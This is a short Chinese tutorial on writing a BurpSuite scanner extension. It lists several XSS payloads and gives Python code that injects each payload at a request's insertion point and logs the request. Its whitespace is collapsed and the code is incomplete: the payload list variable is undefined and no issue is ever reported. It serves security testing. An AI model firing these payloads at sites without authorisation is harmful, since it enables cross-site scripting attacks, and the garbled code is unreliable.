BurpSuite插件编写

XSS-payload"<Svg/Onload=confirm(document.domain)>","<<img src=xonerror='prompt(1)'><","<input onfocus=javascript:alert(1)autofocus>","<input value="test"onfocus=alert(0)>","<ahref="javascript&colon;alert&lpar;document&period;domain&rpar;">ClickHere</a>","<script>alert(xss)</script>"classBurpExtender(IBurpExtender, IScannerCheck):    #    # implementIBurpExtender    ## registerExtenderCallbacks注册插件    defregisterExtenderCallbacks(self, callbacks):       # keep areference to our callbacks object  保留对我们的回调对象的引用       self._callbacks= callbacks       # obtainan extension helpers object  获取扩展助手对象 用来分析数据包 转换字节码等       self._helpers= callbacks.getHelpers()       # set ourextension name    设置插件名称 callbacks回调类对象设置成全局       callbacks.setExtensionName("Customscanner XSS")       # obtainour output and error streams 打印输出流       stdout =PrintWriter(callbacks.getStdout(), True)       self.stdout= stdout       # registerourselves as a custom scanner check  注册自定义扫描检查       callbacks.registerScannerCheck(self)    defdoActiveScan(self, baseRequestResponse, insertionPoint):       # make arequest containing our injection test in the insertion point       forpayload in payload_list:           # 记录开始时间           scan_time= str(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())))           # 把请求结构的响应分析一下，取出它的URL，这个URL就是扫描的URL地址           scan_url= str(self._helpers.analyzeRequest(baseRequestResponse).getUrl())           #payload（从列表拿出来的每一个语句）转换成字符串           scan_payload= str(payload)           # 插入点 把scan_payload转换成字节码数组，重新构造请求这个请求           checkRequest= insertionPoint.buildRequest(bytearray(scan_payload))           # 打印时间 url payload           self.stdout.println(scan_time+ " ------ url:" + scan_url + "Payload:" + scan_payload)           # 重新发请求，基于baseRequestResponse结构体获取它http符 和构造的checkRequest请求           checkRequestResponse= self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(),checkRequest)       # reportthe issue       return